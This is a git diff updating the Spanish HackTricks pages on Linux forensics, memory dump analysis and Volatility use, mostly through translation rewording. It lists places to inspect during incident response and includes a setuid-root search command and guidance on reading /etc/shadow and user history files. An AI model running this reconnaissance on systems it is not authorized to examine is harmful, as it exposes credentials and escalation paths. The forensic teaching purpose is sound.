+* Examina `/etc/passwd` para identificar cualquier membresía o permisos de grupo inusuales.
Algunas aplicaciones también generan sus propios registros:
-- **SSH**: Examina _\~/.ssh/authorized\_keys_ y _\~/.ssh/known\_hosts_ para conexiones remotas no autorizadas.
-- **Escritorio Gnome**: Revisa _\~/.recently-used.xbel_ para archivos accedidos recientemente a través de aplicaciones de Gnome.
-- **Firefox/Chrome**: Verifica el historial y descargas del navegador en _\~/.mozilla/firefox_ o _\~/.config/google-chrome_ en busca de actividades sospechosas.
-- **VIM**: Revisa _\~/.viminfo_ para detalles de uso, como rutas de archivos accedidos e historial de búsqueda.
-- **Open Office**: Verifica el acceso a documentos recientes que puedan indicar archivos comprometidos.
-- **FTP/SFTP**: Revisa los registros en _\~/.ftp\_history_ o _\~/.sftp\_history_ para transferencias de archivos que podrían ser no autorizadas.
-- **MySQL**: Investiga _\~/.mysql\_history_ para consultas MySQL ejecutadas, revelando potencialmente actividades no autorizadas en la base de datos.
-- **Less**: Analiza _\~/.lesshst_ para historial de uso, incluidos archivos vistos y comandos ejecutados.
-- **Git**: Examina _\~/.gitconfig_ y el proyecto _.git/logs_ para cambios en repositorios.
+* **SSH**: Examina _\~/.ssh/authorized\_keys_ y _\~/.ssh/known\_hosts_ para conexiones remotas no autorizadas.
+* **Gnome Desktop**: Revisa _\~/.recently-used.xbel_ para archivos accedidos recientemente a través de aplicaciones de Gnome.
+* **Firefox/Chrome**: Verifica el historial del navegador y las descargas en _\~/.mozilla/firefox_ o _\~/.config/google-chrome_ para actividades sospechosas.
+* **VIM**: Revisa _\~/.viminfo_ para detalles de uso, como rutas de archivos accedidos e historial de búsqueda.
+* **Open Office**: Verifica el acceso reciente a documentos que pueda indicar archivos comprometidos.
+* **FTP/SFTP**: Revisa los registros en _\~/.ftp\_history_ o _\~/.sftp\_history_ para transferencias de archivos que puedan no estar autorizadas.
+* **MySQL**: Investiga _\~/.mysql\_history_ para consultas de MySQL ejecutadas, que pueden revelar actividades no autorizadas en la base de datos.
+* **Less**: Analiza _\~/.lesshst_ para el historial de uso, incluidos archivos vistos y comandos ejecutados.
+* **Git**: Examina _\~/.gitconfig_ y el proyecto _.git/logs_ para cambios en los repositorios.
### Registros USB
[**usbrip**](https://github.com/snovvcrash/usbrip) es un pequeño software escrito en Python 3 puro que analiza archivos de registro de Linux (`/var/log/syslog*` o `/var/log/messages*` dependiendo de la distribución) para construir tablas de historial de eventos USB.
-Es interesante **conocer todos los USB que se han utilizado** y será más útil si tienes una lista autorizada de USB para encontrar "eventos de violación" (el uso de USB que no están en esa lista).
+Es interesante **conocer todos los USB que se han utilizado** y será más útil si tienes una lista autorizada de USB para encontrar "eventos de violación" (el uso de USB que no están dentro de esa lista).
### Instalación
```bash
@@ -335,38 +336,38 @@ usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR
usbrip ids download #Downlaod database
usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid
```
-Más ejemplos e información en el github: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip)
+Más ejemplos e información dentro de GitHub: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip)
\
-Utiliza [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\
-Accede hoy mismo:
+Utiliza [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) para construir y **automatizar flujos de trabajo** fácilmente impulsados por las **herramientas comunitarias más avanzadas** del mundo.\
+Accede hoy:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %}
## Revisar Cuentas de Usuario y Actividades de Inicio de Sesión
-Examina los archivos _**/etc/passwd**_, _**/etc/shadow**_ y los **registros de seguridad** en busca de nombres inusuales o cuentas creadas y utilizadas en proximidad a eventos no autorizados conocidos. Además, verifica posibles ataques de fuerza bruta a sudo.\
-Además, revisa archivos como _**/etc/sudoers**_ y _**/etc/groups**_ en busca de privilegios inesperados otorgados a usuarios.\
-Finalmente, busca cuentas sin **contraseñas** o con contraseñas **fáciles de adivinar**.
+Examina el _**/etc/passwd**_, _**/etc/shadow**_ y **registros de seguridad** en busca de nombres inusuales o cuentas creadas y/o utilizadas en estrecha proximidad a eventos no autorizados conocidos. Además, verifica posibles ataques de fuerza bruta a sudo.\
+Además, revisa archivos como _**/etc/sudoers**_ y _**/etc/groups**_ en busca de privilegios inesperados otorgados a los usuarios.\
+Finalmente, busca cuentas con **sin contraseñas** o contraseñas **fácilmente adivinables**.
## Examinar el Sistema de Archivos
-### Analizando Estructuras del Sistema de Archivos en Investigaciones de Malware
+### Análisis de Estructuras del Sistema de Archivos en la Investigación de Malware
-En investigaciones de incidentes de malware, la estructura del sistema de archivos es una fuente crucial de información, revelando tanto la secuencia de eventos como el contenido del malware. Sin embargo, los autores de malware están desarrollando técnicas para dificultar este análisis, como modificar las marcas de tiempo de los archivos o evitar el sistema de archivos para el almacenamiento de datos.
+Al investigar incidentes de malware, la estructura del sistema de archivos es una fuente crucial de información, revelando tanto la secuencia de eventos como el contenido del malware. Sin embargo, los autores de malware están desarrollando técnicas para obstaculizar este análisis, como modificar las marcas de tiempo de los archivos o evitar el sistema de archivos para el almacenamiento de datos.
-Para contrarrestar estos métodos antiforense, es esencial:
+Para contrarrestar estos métodos anti-forenses, es esencial:
-* Realizar un **análisis detallado de la línea de tiempo** utilizando herramientas como **Autopsy** para visualizar las líneas de tiempo de eventos o `mactime` de **Sleuth Kit** para obtener datos detallados de la línea de tiempo.
-* Investigar **scripts inesperados** en la variable $PATH del sistema, que podrían incluir scripts de shell o PHP utilizados por atacantes.
-* Examinar `/dev` en busca de archivos atípicos, ya que tradicionalmente contiene archivos especiales, pero podría contener archivos relacionados con malware.
-* Buscar archivos o directorios ocultos con nombres como ".. " (punto punto espacio) o "..^G" (punto punto control-G), que podrían ocultar contenido malicioso.
-* Identificar archivos setuid root con el comando: `find / -user root -perm -04000 -print` Esto encuentra archivos con permisos elevados, que podrían ser abusados por atacantes.
-* Revisar las marcas de tiempo de eliminación en las tablas de inodos para detectar eliminaciones masivas de archivos, lo que podría indicar la presencia de rootkits o troyanos.
-* Inspeccionar inodos consecutivos en busca de archivos maliciosos cercanos después de identificar uno, ya que podrían haber sido colocados juntos.
-* Verificar archivos modificados recientemente en directorios binarios comunes (_/bin_, _/sbin_), ya que podrían ser alterados por malware.
+* **Realizar un análisis de línea de tiempo exhaustivo** utilizando herramientas como **Autopsy** para visualizar líneas de tiempo de eventos o `mactime` de **Sleuth Kit** para datos de línea de tiempo detallados.
+* **Investigar scripts inesperados** en el $PATH del sistema, que podrían incluir scripts de shell o PHP utilizados por atacantes.
+* **Examinar `/dev` en busca de archivos atípicos**, ya que tradicionalmente contiene archivos especiales, pero puede albergar archivos relacionados con malware.
+* **Buscar archivos o directorios ocultos** con nombres como ".. " (punto punto espacio) o "..^G" (punto punto control-G), que podrían ocultar contenido malicioso.
+* **Identificar archivos setuid root** utilizando el comando: `find / -user root -perm -04000 -print` Esto encuentra archivos con permisos elevados, que podrían ser abusados por atacantes.
+* **Revisar marcas de tiempo de eliminación** en tablas de inodos para detectar eliminaciones masivas de archivos, lo que podría indicar la presencia de rootkits o troyanos.
+* **Inspeccionar inodos consecutivos** en busca de archivos maliciosos cercanos después de identificar uno, ya que pueden haber sido colocados juntos.
+* **Verificar directorios binarios comunes** (_/bin_, _/sbin_) en busca de archivos modificados recientemente, ya que estos podrían haber sido alterados por malware.
````bash
# List recent files in a directory:
ls -laR --sort=time /bin```
@@ -375,16 +376,16 @@ ls -laR --sort=time /bin```
ls -lai /bin | sort -n```
````
{% hint style="info" %}
-Ten en cuenta que un **atacante** puede **modificar** la **hora** para que los **archivos parezcan** **legítimos**, pero no puede modificar el **inode**. Si descubres que un **archivo** indica que fue creado y modificado al **mismo tiempo** que el resto de los archivos en la misma carpeta, pero el **inode** es **inesperadamente más grande**, entonces los **timestamps de ese archivo fueron modificados**.
+Tenga en cuenta que un **atacante** puede **modificar** el **tiempo** para hacer que los **archivos aparezcan** **legítimos**, pero **no puede** modificar el **inode**. Si encuentra que un **archivo** indica que fue creado y modificado al **mismo tiempo** que el resto de los archivos en la misma carpeta, pero el **inode** es **inesperadamente más grande**, entonces los **timestamps de ese archivo fueron modificados**.
{% endhint %}
-## Comparar archivos de diferentes versiones de sistemas de archivos
+## Comparar archivos de diferentes versiones del sistema de archivos
-### Resumen de Comparación de Versiones de Sistemas de Archivos
+### Resumen de comparación de versiones del sistema de archivos
-Para comparar versiones de sistemas de archivos y señalar cambios, utilizamos comandos simplificados de `git diff`:
+Para comparar versiones del sistema de archivos y señalar cambios, utilizamos comandos simplificados de `git diff`:
-* **Para encontrar archivos nuevos**, compara dos directorios:
+* **Para encontrar nuevos archivos**, compare dos directorios:
```bash
git diff --no-index --diff-filter=A path/to/old_version/ path/to/new_version/
```
@@ -396,13 +397,13 @@ git diff --no-index --diff-filter=M path/to/old_version/ path/to/new_version/ |
```bash
git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
```
-* **Opciones de filtro** (`--diff-filter`) ayudan a reducir los cambios específicos como archivos añadidos (`A`), eliminados (`D`), o modificados (`M`).
+* **Las opciones de filtro** (`--diff-filter`) ayudan a reducir a cambios específicos como archivos añadidos (`A`), eliminados (`D`) o modificados (`M`).
* `A`: Archivos añadidos
* `C`: Archivos copiados
* `D`: Archivos eliminados
* `M`: Archivos modificados
* `R`: Archivos renombrados
-* `T`: Cambios de tipo (por ejemplo, archivo a enlace simbólico)
+* `T`: Cambios de tipo (por ejemplo, de archivo a symlink)
* `U`: Archivos no fusionados
* `X`: Archivos desconocidos
* `B`: Archivos rotos
@@ -412,17 +413,17 @@ git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
* [https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems\_Ch3.pdf](https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems\_Ch3.pdf)
* [https://www.plesk.com/blog/featured/linux-logs-explained/](https://www.plesk.com/blog/featured/linux-logs-explained/)
* [https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203](https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203)
-* **Libro: Malware Forensics Field Guide for Linux Systems: Digital Forensics Field Guides**
+* **Libro: Guía de campo de forense de malware para sistemas Linux: Guías de campo de forense digital**
-Aprende hacking en AWS de cero a héroe conhtARTE (HackTricks AWS Red Team Expert)!
+Aprende hacking de AWS de cero a héroe conhtARTE (HackTricks AWS Red Team Expert)!
-¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
+¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? o ¿quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Obtén la [**ropa oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
-* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord**](https://discord.gg/hRep4RUj7f) o al **grupo de telegram** o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
+* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
+* Obtén la [**merch oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
+* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
**Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
@@ -431,7 +432,7 @@ git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
\
-Utiliza [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\
-¡Accede hoy:
+Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) para construir y **automatizar flujos de trabajo** fácilmente, impulsados por las herramientas comunitarias **más avanzadas** del mundo.\
+Obtén acceso hoy:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %}
diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/README.md b/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/README.md
index fb8d39f53..021cf00e0 100644
--- a/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/README.md
+++ b/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/README.md
@@ -1,44 +1,47 @@
# Análisis de volcado de memoria
+{% hint style="success" %}
+Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Aprende a hackear AWS desde cero hasta convertirte en un experto conhtARTE (HackTricks AWS Red Team Expert)!
+Apoya a HackTricks
-* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
-* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
+* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
+{% endhint %}
-[**RootedCON**](https://www.rootedcon.com/) es el evento de ciberseguridad más relevante en **España** y uno de los más importantes en **Europa**. Con **la misión de promover el conocimiento técnico**, este congreso es un punto de encuentro clave para profesionales de la tecnología y la ciberseguridad en todas las disciplinas.
+[**RootedCON**](https://www.rootedcon.com/) es el evento de ciberseguridad más relevante en **España** y uno de los más importantes en **Europa**. Con **la misión de promover el conocimiento técnico**, este congreso es un punto de encuentro vibrante para profesionales de la tecnología y la ciberseguridad en todas las disciplinas.
{% embed url="https://www.rootedcon.com/" %}
-## Comienzo
+## Comenzar
-Comienza **buscando** **malware** dentro del pcap. Utiliza las **herramientas** mencionadas en [**Análisis de malware**](../malware-analysis.md).
+Comienza **buscando** **malware** dentro del pcap. Usa las **herramientas** mencionadas en [**Análisis de Malware**](../malware-analysis.md).
## [Volatility](volatility-cheatsheet.md)
-**Volatility es el principal marco de código abierto para el análisis de volcados de memoria**. Esta herramienta en Python analiza volcados de fuentes externas o máquinas virtuales VMware, identificando datos como procesos y contraseñas basados en el perfil del sistema operativo del volcado. Es extensible con complementos, lo que lo hace altamente versátil para investigaciones forenses.
+**Volatility es el principal marco de código abierto para el análisis de volcado de memoria**. Esta herramienta de Python analiza volcados de fuentes externas o VMs de VMware, identificando datos como procesos y contraseñas basados en el perfil del SO del volcado. Es extensible con plugins, lo que la hace altamente versátil para investigaciones forenses.
[**Encuentra aquí una hoja de trucos**](volatility-cheatsheet.md)
-## Informe de fallo de volcado mini
+## Informe de fallo de mini volcado
-Cuando el volcado es pequeño (solo algunos KB, tal vez unos pocos MB) entonces probablemente sea un informe de fallo de volcado mini y no un volcado de memoria.
+Cuando el volcado es pequeño (solo algunos KB, tal vez unos pocos MB) entonces probablemente sea un informe de fallo de mini volcado y no un volcado de memoria.
![](<../../../.gitbook/assets/image (532).png>)
-Si tienes Visual Studio instalado, puedes abrir este archivo y vincular alguna información básica como el nombre del proceso, la arquitectura, la información de la excepción y los módulos en ejecución:
+Si tienes Visual Studio instalado, puedes abrir este archivo y vincular información básica como el nombre del proceso, arquitectura, información de excepciones y módulos que se están ejecutando:
![](<../../../.gitbook/assets/image (263).png>)
-También puedes cargar la excepción y ver las instrucciones descompiladas
+También puedes cargar la excepción y ver las instrucciones decompiladas
![](<../../../.gitbook/assets/image (142).png>)
@@ -52,18 +55,21 @@ Deberías **abrirlo** usando **IDA** o **Radare** para inspeccionarlo en **profu
-[**RootedCON**](https://www.rootedcon.com/) es el evento de ciberseguridad más relevante en **España** y uno de los más importantes en **Europa**. Con **la misión de promover el conocimiento técnico**, este congreso es un punto de encuentro clave para profesionales de la tecnología y la ciberseguridad en todas las disciplinas.
+[**RootedCON**](https://www.rootedcon.com/) es el evento de ciberseguridad más relevante en **España** y uno de los más importantes en **Europa**. Con **la misión de promover el conocimiento técnico**, este congreso es un punto de encuentro vibrante para profesionales de la tecnología y la ciberseguridad en todas las disciplinas.
{% embed url="https://www.rootedcon.com/" %}
+{% hint style="success" %}
+Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Aprende a hackear AWS desde cero hasta convertirte en un experto conhtARTE (HackTricks AWS Red Team Expert)!
+Apoya a HackTricks
-* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
-* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
+* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
+{% endhint %}
diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md b/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md
index 18b4c4445..b632f7c79 100644
--- a/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md
+++ b/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md
@@ -1,44 +1,41 @@
# Volatility - CheatSheet
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Aprende hacking en AWS desde cero hasta experto conhtARTE (Experto en Red Team de AWS de HackTricks)!
+Support HackTricks
-Otras formas de apoyar a HackTricks:
-
-* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
-* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
-[**RootedCON**](https://www.rootedcon.com/) es el evento de ciberseguridad más relevante en **España** y uno de los más importantes en **Europa**. Con **la misión de promover el conocimiento técnico**, este congreso es un punto de encuentro crucial para profesionales de tecnología y ciberseguridad en todas las disciplinas.
+[**RootedCON**](https://www.rootedcon.com/) es el evento de ciberseguridad más relevante en **España** y uno de los más importantes en **Europa**. Con **la misión de promover el conocimiento técnico**, este congreso es un punto de encuentro vibrante para profesionales de la tecnología y la ciberseguridad en cada disciplina.
{% embed url="https://www.rootedcon.com/" %}
-Si deseas algo **rápido y loco** que lance varios complementos de Volatility en paralelo, puedes usar: [https://github.com/carlospolop/autoVolatility](https://github.com/carlospolop/autoVolatility)
-
+Si quieres algo **rápido y loco** que lance varios plugins de Volatility en paralelo, puedes usar: [https://github.com/carlospolop/autoVolatility](https://github.com/carlospolop/autoVolatility)
```bash
python autoVolatility.py -f MEMFILE -d OUT_DIRECTORY -e /home/user/tools/volatility/vol.py # It will use the most important plugins (could use a lot of space depending on the size of the memory)
```
-
## Instalación
### volatility3
-
```bash
git clone https://github.com/volatilityfoundation/volatility3.git
cd volatility3
python3 setup.py install
python3 vol.py —h
```
-
### volatility2
{% tabs %}
@@ -61,13 +58,13 @@ python setup.py install
Accede a la documentación oficial en [Referencia de comandos de Volatility](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#kdbgscan)
-### Una nota sobre los plugins "list" vs "scan"
+### Una nota sobre los plugins “list” vs. “scan”
-Volatility tiene dos enfoques principales para los plugins, que a veces se reflejan en sus nombres. Los plugins "list" intentarán navegar a través de las estructuras del Kernel de Windows para recuperar información como procesos (localizar y recorrer la lista enlazada de estructuras `_EPROCESS` en la memoria), manejadores del sistema operativo (localizar y listar la tabla de manejadores, desreferenciar cualquier puntero encontrado, etc). Más o menos se comportan como lo haría la API de Windows si se solicitara, por ejemplo, listar procesos.
+Volatility tiene dos enfoques principales para los plugins, que a veces se reflejan en sus nombres. Los plugins “list” intentarán navegar a través de las estructuras del Kernel de Windows para recuperar información como procesos (localizar y recorrer la lista enlazada de estructuras `_EPROCESS` en memoria), manejadores del SO (localizando y listando la tabla de manejadores, desreferenciando cualquier puntero encontrado, etc.). Se comportan más o menos como lo haría la API de Windows si se le solicitara, por ejemplo, listar procesos.
-Esto hace que los plugins "list" sean bastante rápidos, pero igual de vulnerables que la API de Windows a la manipulación por malware. Por ejemplo, si el malware utiliza DKOM para desvincular un proceso de la lista enlazada `_EPROCESS`, no aparecerá en el Administrador de tareas ni en la lista de procesos.
+Eso hace que los plugins “list” sean bastante rápidos, pero igual de vulnerables a la manipulación por malware que la API de Windows. Por ejemplo, si el malware utiliza DKOM para desvincular un proceso de la lista enlazada `_EPROCESS`, no aparecerá en el Administrador de tareas ni en el pslist.
-Los plugins "scan", por otro lado, adoptarán un enfoque similar a tallar la memoria en busca de cosas que podrían tener sentido al desreferenciarlas como estructuras específicas. `psscan`, por ejemplo, leerá la memoria e intentará crear objetos `_EPROCESS` a partir de ella (utiliza el escaneo de etiquetas de grupo, que busca cadenas de 4 bytes que indiquen la presencia de una estructura de interés). La ventaja es que puede descubrir procesos que han salido, e incluso si el malware manipula la lista enlazada `_EPROCESS`, el plugin seguirá encontrando la estructura en la memoria (ya que aún necesita existir para que el proceso se ejecute). La desventaja es que los plugins "scan" son un poco más lentos que los plugins "list" y a veces pueden dar falsos positivos (un proceso que salió hace mucho tiempo y tuvo partes de su estructura sobrescritas por otras operaciones).
+Los plugins “scan”, por otro lado, adoptarán un enfoque similar a la extracción de memoria para cosas que podrían tener sentido cuando se desreferencian como estructuras específicas. `psscan`, por ejemplo, leerá la memoria e intentará crear objetos `_EPROCESS` a partir de ella (utiliza escaneo de etiquetas de pool, que busca cadenas de 4 bytes que indican la presencia de una estructura de interés). La ventaja es que puede encontrar procesos que han salido, e incluso si el malware manipula la lista enlazada `_EPROCESS`, el plugin aún encontrará la estructura en memoria (ya que aún necesita existir para que el proceso se ejecute). La desventaja es que los plugins “scan” son un poco más lentos que los plugins “list”, y a veces pueden dar falsos positivos (un proceso que salió hace demasiado tiempo y tuvo partes de su estructura sobrescritas por otras operaciones).
De: [http://tomchop.me/2016/11/21/tutorial-volatility-plugins-malware-analysis/](http://tomchop.me/2016/11/21/tutorial-volatility-plugins-malware-analysis/)
@@ -75,8 +72,8 @@ De: [http://tomchop.me/2016/11/21/tutorial-volatility-plugins-malware-analysis/]
### Volatility3
-Como se explica en el archivo readme, necesitas colocar la **tabla de símbolos del SO** que deseas admitir dentro de _volatility3/volatility/symbols_.\
-Los paquetes de tablas de símbolos para los diversos sistemas operativos están disponibles para **descargar** en:
+Como se explica en el readme, necesitas poner la **tabla de símbolos del SO** que deseas soportar dentro de _volatility3/volatility/symbols_.\
+Los paquetes de tablas de símbolos para los diversos sistemas operativos están disponibles para **descarga** en:
* [https://downloads.volatilityfoundation.org/volatility3/symbols/windows.zip](https://downloads.volatilityfoundation.org/volatility3/symbols/windows.zip)
* [https://downloads.volatilityfoundation.org/volatility3/symbols/mac.zip](https://downloads.volatilityfoundation.org/volatility3/symbols/mac.zip)
@@ -86,14 +83,11 @@ Los paquetes de tablas de símbolos para los diversos sistemas operativos están
#### Perfil Externo
-Puedes obtener la lista de perfiles admitidos haciendo:
-
+Puedes obtener la lista de perfiles soportados haciendo:
```bash
./volatility_2.6_lin64_standalone --info | grep "Profile"
```
-
-Si deseas utilizar un **nuevo perfil que has descargado** (por ejemplo, uno de Linux), necesitas crear en algún lugar la siguiente estructura de carpetas: _plugins/overlays/linux_ y colocar dentro de esta carpeta el archivo zip que contiene el perfil. Luego, obtén el número de perfiles utilizando:
-
+Si deseas usar un **nuevo perfil que has descargado** (por ejemplo, uno de linux), necesitas crear en algún lugar la siguiente estructura de carpetas: _plugins/overlays/linux_ y poner dentro de esta carpeta el archivo zip que contiene el perfil. Luego, obtén el número de los perfiles usando:
```bash
./vol --plugins=/home/kali/Desktop/ctfs/final/plugins --info
Volatility Foundation Volatility Framework 2.6
@@ -105,28 +99,22 @@ LinuxCentOS7_3_10_0-123_el7_x86_64_profilex64 - A Profile for Linux CentOS7_3.10
VistaSP0x64 - A Profile for Windows Vista SP0 x64
VistaSP0x86 - A Profile for Windows Vista SP0 x86
```
-
Puedes **descargar perfiles de Linux y Mac** desde [https://github.com/volatilityfoundation/profiles](https://github.com/volatilityfoundation/profiles)
-En el fragmento anterior puedes ver que el perfil se llama `LinuxCentOS7_3_10_0-123_el7_x86_64_profilex64`, y puedes usarlo para ejecutar algo como:
-
+En el fragmento anterior, puedes ver que el perfil se llama `LinuxCentOS7_3_10_0-123_el7_x86_64_profilex64`, y puedes usarlo para ejecutar algo como:
```bash
./vol -f file.dmp --plugins=. --profile=LinuxCentOS7_3_10_0-123_el7_x86_64_profilex64 linux_netscan
```
-
#### Descubrir Perfil
-
```
volatility imageinfo -f file.dmp
volatility kdbgscan -f file.dmp
```
-
#### **Diferencias entre imageinfo y kdbgscan**
